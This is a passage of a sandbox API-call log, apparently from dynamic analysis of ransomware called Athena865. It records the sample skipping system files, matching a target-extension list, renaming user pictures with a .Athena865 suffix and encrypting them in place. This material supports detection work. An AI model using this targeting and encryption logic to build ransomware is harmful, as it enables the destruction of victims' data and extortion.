lpString2="perflogs") returned -1 [0051.615] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0051.615] lstrlenW (lpString="desktop.ini") returned 11 [0051.615] lstrcpyW (in: lpString1=0x241e8b8, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0051.615] lstrlenW (lpString="desktop.ini") returned 11 [0051.615] lstrlenW (lpString="Athena865") returned 9 [0051.615] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0051.615] lstrlenW (lpString=".dll") returned 4 [0051.615] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0051.615] lstrlenW (lpString=".lnk") returned 4 [0051.615] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0051.615] lstrlenW (lpString=".ini") returned 4 [0051.615] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0051.615] lstrlenW (lpString=".sys") returned 4 [0051.615] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0051.615] lstrlenW (lpString="desktop.ini") returned 11 [0051.615] lstrlenW (lpString="bak") returned 3 [0051.615] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0051.616] lstrlenW (lpString="ba_") returned 3 [0051.616] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0051.616] lstrlenW (lpString="dbb") returned 3 [0051.616] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0051.616] lstrlenW (lpString="vmdk") returned 4 [0051.616] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0051.616] lstrlenW (lpString="rar") returned 3 [0051.616] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0051.616] lstrlenW (lpString="zip") returned 3 [0051.616] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0051.616] lstrlenW (lpString="tgz") returned 3 [0051.616] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0051.616] lstrlenW (lpString="vbox") returned 4 [0051.616] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0051.616] lstrlenW (lpString="vdi") returned 3 [0051.616] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0051.616] lstrlenW (lpString="vhd") returned 3 [0051.616] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0051.616] lstrlenW (lpString="vhdx") returned 4 [0051.616] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0051.616] lstrlenW (lpString="avhd") returned 4 [0051.616] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0051.616] lstrlenW (lpString="db") returned 2 [0051.616] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0051.616] lstrlenW (lpString="db2") returned 3 [0051.616] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0051.616] lstrlenW (lpString="db3") returned 3 [0051.616] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0051.616] lstrlenW (lpString="dbf") returned 3 [0051.616] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0051.616] lstrlenW (lpString="mdf") returned 3 [0051.616] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0051.616] lstrlenW (lpString="mdb") returned 3 [0051.617] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0051.617] lstrlenW (lpString="sql") returned 3 [0051.617] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0051.617] lstrlenW (lpString="sqlite") returned 6 [0051.617] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0051.617] lstrlenW (lpString="sqlite3") returned 7 [0051.617] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0051.617] lstrlenW (lpString="sqlitedb") returned 8 [0051.617] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0051.617] lstrlenW (lpString="xml") returned 3 [0051.617] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0051.617] lstrlenW (lpString="$er") returned 3 [0051.617] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0051.617] lstrlenW (lpString="4dd") returned 3 [0051.617] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0051.617] lstrlenW (lpString="4dl") returned 3 [0051.617] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0051.617] lstrlenW (lpString="^^^") returned 3 [0051.617] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0051.617] lstrlenW (lpString="abs") returned 3 [0051.617] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0051.617] lstrlenW (lpString="abx") returned 3 [0051.617] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0051.617] lstrlenW (lpString="accdb") returned 5 [0051.617] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0051.617] lstrlenW (lpString="accdc") returned 5 [0051.617] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0051.617] lstrlenW (lpString="accde") returned 5 [0051.617] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0051.617] lstrlenW (lpString="accdr") returned 5 [0051.617] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0051.617] lstrlenW (lpString="accdt") returned 5 [0051.617] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0051.617] lstrlenW (lpString="accdw") returned 5 [0051.618] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0051.618] lstrlenW (lpString="accft") returned 5 [0051.618] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0051.618] lstrlenW (lpString="adb") returned 3 [0051.618] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0051.618] lstrlenW (lpString="adb") returned 3 [0051.618] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0051.618] lstrlenW (lpString="ade") returned 3 [0051.618] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0051.618] lstrlenW (lpString="adf") returned 3 [0051.618] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0051.618] lstrlenW (lpString="adn") returned 3 [0051.618] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0051.618] lstrlenW (lpString="adp") returned 3 [0051.618] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0051.618] lstrlenW (lpString="alf") returned 3 [0051.618] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0051.618] lstrlenW (lpString="ask") returned 3 [0051.618] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0051.618] lstrlenW (lpString="btr") returned 3 [0051.618] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0051.618] lstrlenW (lpString="cat") returned 3 [0051.618] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0051.618] lstrlenW (lpString="cdb") returned 3 [0051.618] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0051.618] lstrlenW (lpString="ckp") returned 3 [0051.618] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0051.618] lstrlenW (lpString="cma") returned 3 [0051.618] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0051.618] lstrlenW (lpString="cpd") returned 3 [0051.618] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0051.618] lstrlenW (lpString="dacpac") returned 6 [0051.618] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0051.619] lstrlenW (lpString="dad") returned 3 [0051.619] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0051.619] lstrlenW (lpString="dadiagrams") returned 10 [0051.619] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0051.619] lstrlenW (lpString="daschema") returned 8 [0051.619] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0051.619] lstrlenW (lpString="db-journal") returned 10 [0051.619] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0051.619] lstrlenW (lpString="db-shm") returned 6 [0051.619] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0051.619] lstrlenW (lpString="db-wal") returned 6 [0051.619] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0051.619] lstrlenW (lpString="dbc") returned 3 [0051.619] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0051.619] lstrlenW (lpString="dbs") returned 3 [0051.619] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0051.619] lstrlenW (lpString="dbt") returned 3 [0051.619] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0051.619] lstrlenW (lpString="dbv") returned 3 [0051.619] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0051.619] lstrlenW (lpString="dbx") returned 3 [0051.619] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0051.619] lstrlenW (lpString="dcb") returned 3 [0051.619] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0051.619] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini.Athena865") returned 77 [0051.619] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0051.620] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.620] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=504) returned 1 [0051.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.621] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.621] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.621] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.622] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x500, lpName=0x0) returned 0x154 [0051.624] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x500) returned 0x100000 [0051.624] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.625] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.625] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.625] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.625] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0051.625] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0051.625] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.625] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0051.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0051.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.625] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.625] CloseHandle (hObject=0x154) returned 1 [0051.625] CloseHandle (hObject=0x17c) returned 1 [0051.627] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.627] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.627] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.627] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa57dbe00, ftCreationTime.dwHighDateTime=0x1d4ce6f, ftLastAccessTime.dwLowDateTime=0x3e40ad30, ftLastAccessTime.dwHighDateTime=0x1d4cba7, ftLastWriteTime.dwLowDateTime=0x3e40ad30, ftLastWriteTime.dwHighDateTime=0x1d4cba7, nFileSizeHigh=0x0, nFileSizeLow=0x630e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DxZ89tQr5hB.jpg", cAlternateFileName="DXZ89T~1.JPG")) returned 1 [0051.627] lstrcmpiW (lpString1="DxZ89tQr5hB.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.627] lstrcmpiW (lpString1="DxZ89tQr5hB.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.627] lstrcmpiW (lpString1="DxZ89tQr5hB.jpg", lpString2=".") returned 1 [0051.627] lstrcmpiW (lpString1="DxZ89tQr5hB.jpg", lpString2="..") returned 1 [0051.627] lstrcmpiW (lpString1="DxZ89tQr5hB.jpg", lpString2="windows") returned -1 [0051.627] lstrcmpiW (lpString1="DxZ89tQr5hB.jpg", lpString2="bootmgr") returned 1 [0051.627] lstrcmpiW (lpString1="DxZ89tQr5hB.jpg", lpString2="temp") returned -1 [0051.627] lstrcmpiW (lpString1="DxZ89tQr5hB.jpg", lpString2="pagefile.sys") returned -1 [0051.627] lstrcmpiW (lpString1="DxZ89tQr5hB.jpg", lpString2="boot") returned 1 [0051.627] lstrcmpiW (lpString1="DxZ89tQr5hB.jpg", lpString2="ids.txt") returned -1 [0051.627] lstrcmpiW (lpString1="DxZ89tQr5hB.jpg", lpString2="ntuser.dat") returned -1 [0051.627] lstrcmpiW (lpString1="DxZ89tQr5hB.jpg", lpString2="perflogs") returned -1 [0051.627] lstrcmpiW (lpString1="DxZ89tQr5hB.jpg", lpString2="MSBuild") returned -1 [0051.627] lstrlenW (lpString="DxZ89tQr5hB.jpg") returned 15 [0051.627] lstrcpyW (in: lpString1=0x241e8b8, lpString2="DxZ89tQr5hB.jpg" | out: lpString1="DxZ89tQr5hB.jpg") returned="DxZ89tQr5hB.jpg" [0051.627] lstrlenW (lpString="DxZ89tQr5hB.jpg") returned 15 [0051.627] lstrlenW (lpString="Athena865") returned 9 [0051.627] lstrcmpiW (lpString1="Qr5hB.jpg", lpString2="Athena865") returned 1 [0051.627] lstrlenW (lpString=".dll") returned 4 [0051.627] lstrcmpiW (lpString1="DxZ89tQr5hB.jpg", lpString2=".dll") returned 1 [0051.627] lstrlenW (lpString=".lnk") returned 4 [0051.627] lstrcmpiW (lpString1="DxZ89tQr5hB.jpg", lpString2=".lnk") returned 1 [0051.627] lstrlenW (lpString=".ini") returned 4 [0051.628] lstrcmpiW (lpString1="DxZ89tQr5hB.jpg", lpString2=".ini") returned 1 [0051.628] lstrlenW (lpString=".sys") returned 4 [0051.628] lstrcmpiW (lpString1="DxZ89tQr5hB.jpg", lpString2=".sys") returned 1 [0051.628] lstrlenW (lpString="DxZ89tQr5hB.jpg") returned 15 [0051.628] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\DxZ89tQr5hB.jpg.Athena865") returned 81 [0051.628] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\DxZ89tQr5hB.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\dxz89tqr5hb.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\DxZ89tQr5hB.jpg.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\dxz89tqr5hb.jpg.athena865"), dwFlags=0x1) returned 1 [0051.628] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\DxZ89tQr5hB.jpg.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\dxz89tqr5hb.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.628] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=25358) returned 1 [0051.628] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.629] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.629] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.630] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.630] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6610, lpName=0x0) returned 0x154 [0051.630] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6610) returned 0x100000 [0051.631] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.631] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.632] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.632] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.632] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0051.632] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0051.632] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.632] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0051.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0051.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.632] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.633] CloseHandle (hObject=0x154) returned 1 [0051.633] CloseHandle (hObject=0x17c) returned 1 [0051.634] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.634] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.634] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.634] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd06ca5c0, ftCreationTime.dwHighDateTime=0x1d4d4d9, ftLastAccessTime.dwLowDateTime=0x1c1f2880, ftLastAccessTime.dwHighDateTime=0x1d4d106, ftLastWriteTime.dwLowDateTime=0x1c1f2880, ftLastWriteTime.dwHighDateTime=0x1d4d106, nFileSizeHigh=0x0, nFileSizeLow=0x2a16, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F7QVJPbfkQM.gif", cAlternateFileName="F7QVJP~1.GIF")) returned 1 [0051.634] lstrcmpiW (lpString1="F7QVJPbfkQM.gif", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.634] lstrcmpiW (lpString1="F7QVJPbfkQM.gif", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.634] lstrcmpiW (lpString1="F7QVJPbfkQM.gif", lpString2=".") returned 1 [0051.634] lstrcmpiW (lpString1="F7QVJPbfkQM.gif", lpString2="..") returned 1 [0051.634] lstrcmpiW (lpString1="F7QVJPbfkQM.gif", lpString2="windows") returned -1 [0051.634] lstrcmpiW (lpString1="F7QVJPbfkQM.gif", lpString2="bootmgr") returned 1 [0051.634] lstrcmpiW (lpString1="F7QVJPbfkQM.gif", lpString2="temp") returned -1 [0051.634] lstrcmpiW (lpString1="F7QVJPbfkQM.gif", lpString2="pagefile.sys") returned -1 [0051.634] lstrcmpiW (lpString1="F7QVJPbfkQM.gif", lpString2="boot") returned 1 [0051.634] lstrcmpiW (lpString1="F7QVJPbfkQM.gif", lpString2="ids.txt") returned -1 [0051.634] lstrcmpiW (lpString1="F7QVJPbfkQM.gif", lpString2="ntuser.dat") returned -1 [0051.634] lstrcmpiW (lpString1="F7QVJPbfkQM.gif", lpString2="perflogs") returned -1 [0051.634] lstrcmpiW (lpString1="F7QVJPbfkQM.gif", lpString2="MSBuild") returned -1 [0051.634] lstrlenW (lpString="F7QVJPbfkQM.gif") returned 15 [0051.634] lstrcpyW (in: lpString1=0x241e8b8, lpString2="F7QVJPbfkQM.gif" | out: lpString1="F7QVJPbfkQM.gif") returned="F7QVJPbfkQM.gif" [0051.634] lstrlenW (lpString="F7QVJPbfkQM.gif") returned 15 [0051.634] lstrlenW (lpString="Athena865") returned 9 [0051.635] lstrcmpiW (lpString1="bfkQM.gif", lpString2="Athena865") returned 1 [0051.635] lstrlenW (lpString=".dll") returned 4 [0051.635] lstrcmpiW (lpString1="F7QVJPbfkQM.gif", lpString2=".dll") returned 1 [0051.635] lstrlenW (lpString=".lnk") returned 4 [0051.635] lstrcmpiW (lpString1="F7QVJPbfkQM.gif", lpString2=".lnk") returned 1 [0051.635] lstrlenW (lpString=".ini") returned 4 [0051.635] lstrcmpiW (lpString1="F7QVJPbfkQM.gif", lpString2=".ini") returned 1 [0051.635] lstrlenW (lpString=".sys") returned 4 [0051.635] lstrcmpiW (lpString1="F7QVJPbfkQM.gif", lpString2=".sys") returned 1 [0051.635] lstrlenW (lpString="F7QVJPbfkQM.gif") returned 15 [0051.635] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\F7QVJPbfkQM.gif.Athena865") returned 81 [0051.635] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\F7QVJPbfkQM.gif" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\f7qvjpbfkqm.gif"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\F7QVJPbfkQM.gif.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\f7qvjpbfkqm.gif.athena865"), dwFlags=0x1) returned 1 [0051.635] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\F7QVJPbfkQM.gif.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\f7qvjpbfkqm.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.636] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10774) returned 1 [0051.636] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.636] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.636] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.636] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.637] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.637] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.637] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2d20, lpName=0x0) returned 0x154 [0051.637] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2d20) returned 0x100000 [0051.638] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.638] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.638] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.638] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.638] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.639] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0051.639] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0051.639] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.639] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0051.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0051.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.639] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.639] CloseHandle (hObject=0x154) returned 1 [0051.639] CloseHandle (hObject=0x17c) returned 1 [0051.640] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.640] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.640] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.640] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4799f260, ftCreationTime.dwHighDateTime=0x1d4cb84, ftLastAccessTime.dwLowDateTime=0x5f371900, ftLastAccessTime.dwHighDateTime=0x1d4cd93, 